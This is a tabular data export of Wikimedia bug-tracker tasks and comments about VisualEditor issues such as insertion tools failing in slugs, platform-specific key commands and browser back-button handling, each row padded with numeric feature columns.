https://bugzilla.wikimedia.org/show_bug.cgi?id=44083",High,80.0,1358467500,1372462623.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-iw27jj4bhfweo22d2lg4,task_description,resolved,True,c1,1,False,False,True,-24,,0.0,0.0,0.0,0.5,1.0,5.5,1.0,0.5,0.0,0.5,1.5,0.5,0.0,0.0,0.5,0.0,0.0,5.5,7.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.0,8.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,4.0,2.0,8.5,2.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,7.0,4.5,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,0.0,4.157051282051282,0.6792986425339367,"Related to bug 44083

Because there is not yet a paragraph to insert content in, the link inspector won't be able to insert the new link text into a slug, even if bug 44083 is fixed.

The solution is probably to make the automatic paragraph insertion code in ve.ce.Surface.handleInsert more generic and moving it into ve.dm.SurfaceFragment.insertContent, triggered when inserting at a slug location.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
213964,"VisualEditor: Insertion tools (link inspector, media inserter, reference, reference list, …) don't work in slugs",This has now been fixed and deployed.,,,1372462623,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iw27jj4bhfweo22d2lg4,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,This has now been fixed and deployed.
213958,"VisualEditor: Insertion tools (link inspector, media inserter, reference, reference list, …) don't work in slugs",Noting that this is more severe.,,,1372253678,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iw27jj4bhfweo22d2lg4,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,3.857142857142857,1.0,Noting that this is more severe.
46083,VisualEditor: Placing the cursor in a slug doesn't cause a contextChange event,"1. Make an article that begins with an alien followed by a paragraph with some text
2. Click on a word in the paragraph
3. Click on the slug
4. Press the link button
5. See that rather than the link inspector knowing to begin inserting a new link inside the slug, it inspects the word you clicked on in the paragraph.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44084
https://bugzilla.wikimedia.org/show_bug.cgi?id=50141",High,80.0,1358467260,1383060862.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-6nqkzsnqx67qeicoilm6,task_description,declined,True,c1,1,False,False,False,-24,,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,7.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,12.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,8.0,0.0,8.5,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.5,0.0,2.0,0.0,2.0,7.5,1.0,0.0,0.0,0.0,2.0,0.0,0.5,3.0,0.0,1.5,0.0,0.0,0.5,3.4272247360482653,0.6308446455505279,"1. Make an article that begins with an alien followed by a paragraph with some text
2. Click on a word in the paragraph
3. Click on the slug
4. Press the link button
5. See that rather than the link inspector knowing to begin inserting a new link inside the slug, it inspects the word you clicked on in the paragraph.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
213923,VisualEditor: Placing the cursor in a slug doesn't cause a contextChange event,Actually closing it.,,,1383060862,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6nqkzsnqx67qeicoilm6,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.5,1.0,Actually closing it.
213916,VisualEditor: Placing the cursor in a slug doesn't cause a contextChange event,"Confirming that this is now fixed, and was done so some time ago - back-dating to approximately when I think it was fixed.",,,1382654223,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6nqkzsnqx67qeicoilm6,task_subcomment,,True,c1,3,True,,,16,,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,7.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7037037037037037,0.8888888888888888,"Confirming that this is now fixed, and was done so some time ago - back-dating to approximately when I think it was fixed."
213908,VisualEditor: Placing the cursor in a slug doesn't cause a contextChange event,"Hm.. I can't reproduce this.


1. Opening a MediaWiki page with the following source in VisualEditor:

<<<MW
<templatedata>{
    ""params"": {}
}</templatedata>

Foo bar baz.
MW;

2. Selecting word ""bar"".
3. Clicking in the slug area above the green templatedata alien.
4. Pressing the link button.

Shows a link inspector with an empty input field. Upon entering some text in the link input widget and closing the link editor, the link target page is inserted as plain text (different bug?)",,,1380747300,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6nqkzsnqx67qeicoilm6,task_subcomment,,True,c1,3,True,,,13,,1.0,0.0,0.0,1.0,0.5,4.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.5,1.0,8.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,6.0,5.0,1.0,2.0,0.0,0.5,0.0,0.0,2.0,0.0,4.5,0.0,0.0,6.5,3.4348228450555265,0.6914331041776838,"Hm.. I can't reproduce this.


1. Opening a MediaWiki page with the following source in VisualEditor:

<<<MW
<templatedata>{
    ""params"": {}
}</templatedata>

Foo bar baz.
MW;

2. Selecting word ""bar"".
3. Clicking in the slug area above the green templatedata alien.
4. Pressing the link button.

Shows a link inspector with an empty input field. Upon entering some text in the link input widget and closing the link editor, the link target page is inserted as plain text (different bug?)"
46012,"VisualEditor: Key commands should be ""platform-able"".","Key commands should be able to vary based on language/locale and platform. E.g. toggling something as Bold could be:

* Ctrl + b (Windows, English)
* Cmd  + b (Mac OS X, English)
* Meta + b (Solaris, English)

* Ctrl + f (Windows, German)
* Cmd  + f (Mac OS X, German)
* Meta + f (Solaris, German)

... etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=42919",High,80.0,1358279820,1358469781.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-obbqrn6j222whjin4fm6,task_description,resolved,True,c1,1,True,False,True,-24,,0.0,0.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,15.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,2.875136612021858,0.5777322404371584,"Key commands should be able to vary based on language/locale and platform. E.g. toggling something as Bold could be:

* Ctrl + b (Windows, English)
* Cmd  + b (Mac OS X, English)
* Meta + b (Solaris, English)

* Ctrl + f (Windows, German)
* Cmd  + f (Mac OS X, German)
* Meta + f (Solaris, German)

... etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
209736,"VisualEditor: Key commands should be ""platform-able"".","Now merged, will go out in 2013-02-04 release cycle.

Note that the internationalisation aspect (Ctrl+F rather than Ctrl+B for Bold in German) is WONTFIX as directed by the Language Engineering team, who advised against.",,,1358469781,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-obbqrn6j222whjin4fm6,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,20.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,20.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.177777777777778,0.8888888888888888,"Now merged, will go out in 2013-02-04 release cycle.

Note that the internationalisation aspect (Ctrl+F rather than Ctrl+B for Bold in German) is WONTFIX as directed by the Language Engineering team, who advised against."
209730,"VisualEditor: Key commands should be ""platform-able"".",Patched in https://gerrit.wikimedia.org/r/#/c/44347/,,,1358375043,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-obbqrn6j222whjin4fm6,task_subcomment,,True,c1,1,False,,,-24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Patched in URL
45893,VisualEditor: Clean up canHaveGrandchildren mess,"""Can have grandchildren"" is a misnamed check that should be cleaned up. What it really appears to mean is ""is this a non-content-containing branch node"", given that it checks that the node can have children, is not content, and is not a content container.

canHaveGrandchildren seems to still be used in some places, it should be renamed and documented adequately.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1357966200,1363626201.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-xzuyfy5phfxcgoae52f6,task_description,resolved,True,c1,1,False,False,True,-25,,1.0,0.0,0.0,3.0,2.0,7.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,5.0,0.0,2.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,12.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,4.0,9.0,4.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0212765957446805,0.5851063829787234,"""Can have grandchildren"" is a misnamed check that should be cleaned up. What it really appears to mean is ""is this a non-content-containing branch node"", given that it checks that the node can have children, is not content, and is not a content container.

canHaveGrandchildren seems to still be used in some places, it should be renamed and documented adequately.

--------------------------
**Version**: unspecified
**Severity**: normal"
227485,VisualEditor: Clean up canHaveGrandchildren mess,https://gerrit.wikimedia.org/r/#/c/53750/,,,1363266054,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xzuyfy5phfxcgoae52f6,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
45844,VisualEditor: Browser back button should work as expected,"We should use pushState such that pressing the back button after clicking VisualEditor takes you back to read mode.

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1357863540,1397067880.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_description,resolved,True,c1,1,False,False,False,-25,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.421052631578948,0.7368421052631579,"We should use pushState such that pressing the back button after clicking VisualEditor takes you back to read mode.

--------------------------
**Version**: unspecified
**Severity**: minor"
224881,VisualEditor: Browser back button should work as expected,"(In reply to Lokal_Profil from comment #11)
> (In reply to Andre Klapper from comment #10)
> > Lokal_Profil: Where? Example link? Browser? Reopening not helpful without
> > giving instructions to reproduce... :-)
> 
> Sorry ;)
> 
> Confirmed in both Firefox and Chorme running on Ubuntu
> 
> Tested on both sv.wp[1] and en.wp[2] (logged out on sv.wp to make sure no
> personal settings were affecting it)
> 
> [1] https://sv.wikipedia.org/wiki/Bonsai?uselang=en
> [2] https://en.wikipedia.org/wiki/Bonsai

Moved to bug 63739 as a new regression.",,,1397067880,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,3,True,,,40,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,35.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,11.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.239130434782609,0.45652173913043476,"(In reply to Lokal_Profil from comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Moved to bug 63739 as a new regression."
224876,VisualEditor: Browser back button should work as expected,"(In reply to Andre Klapper from comment #10)
> Lokal_Profil: Where? Example link? Browser? Reopening not helpful without
> giving instructions to reproduce... :-)

Sorry ;)

Confirmed in both Firefox and Chorme running on Ubuntu

Tested on both sv.wp[1] and en.wp[2] (logged out on sv.wp to make sure no personal settings were affecting it)

[1] https://sv.wikipedia.org/wiki/Bonsai?uselang=en
[2] https://en.wikipedia.org/wiki/Bonsai",,,1395932065,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,2.0,15.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,3.467741935483871,0.7096774193548387,"(In reply to Andre Klapper from comment #10)
QUOTE
QUOTE

Sorry ;)

Confirmed in both Firefox and Chorme running on Ubuntu

Tested on both sv.wp[1] and en.wp[2] (logged out on sv.wp to make sure no personal settings were affecting it)

[1] URL
[2] URL"
224873,VisualEditor: Browser back button should work as expected,Lokal_Profil: Where? Example link? Browser? Reopening not helpful without giving instructions to reproduce... :-),,,1395925983,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,3,True,,,38,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,11.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,5.2631578947368425,0.8947368421052632,Lokal_Profil: Where? Example link? Browser? Reopening not helpful without giving instructions to reproduce... :-)
224869,VisualEditor: Browser back button should work as expected,This seems to be broken again (back button changes URL but doesn't take user back to read state),,,1395924522,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.761904761904762,0.9047619047619048,This seems to be broken again (back button changes URL but doesn't take user back to read state)
224863,VisualEditor: Browser back button should work as expected,Merged and will go out with wmf7 (from tomorrow).,,,1371042698,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,Merged and will go out with wmf7 (from tomorrow).
224856,VisualEditor: Browser back button should work as expected,*** Bug 49336 has been marked as a duplicate of this bug. ***,,,1370840639,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49336 has been marked as a duplicate of this bug. ***
224847,VisualEditor: Browser back button should work as expected,Related URL: https://gerrit.wikimedia.org/r/67172 (Gerrit Change I5c345c1526852a84b04436955845bf1b56d94402),,,1370472014,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5c345c1526852a84b04436955845bf1b56d94402)
224838,VisualEditor: Browser back button should work as expected,Related URL: https://gerrit.wikimedia.org/r/67171 (Gerrit Change Ia4b949d9c066a3f7b07217aa3d51de9908734e85),,,1370472012,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ia4b949d9c066a3f7b07217aa3d51de9908734e85)
224829,VisualEditor: Browser back button should work as expected,"Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs"".",,,1370298472,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,16.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,12.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,10.0,16.0,0.0,0.0,7.0,0.0,10.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,3.0344827586206895,0.6551724137931034,"Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs""."
224824,VisualEditor: Browser back button should work as expected,"We currently use ?veaction=edit as trigger for VisualEditor from a permanent url.

This is implemented by checking the query parameter on page load and triggering init (just like a click on ""VisualEditor"" would do), and then we replace (without refresh) the url to drop this query parameter using the HTML5 History api (replaceState).

I'd recommend we build on this by using pushState when VisualEditor is initialised (we can then remove the current behaviour as there's no longer any reason to remove it from the url).

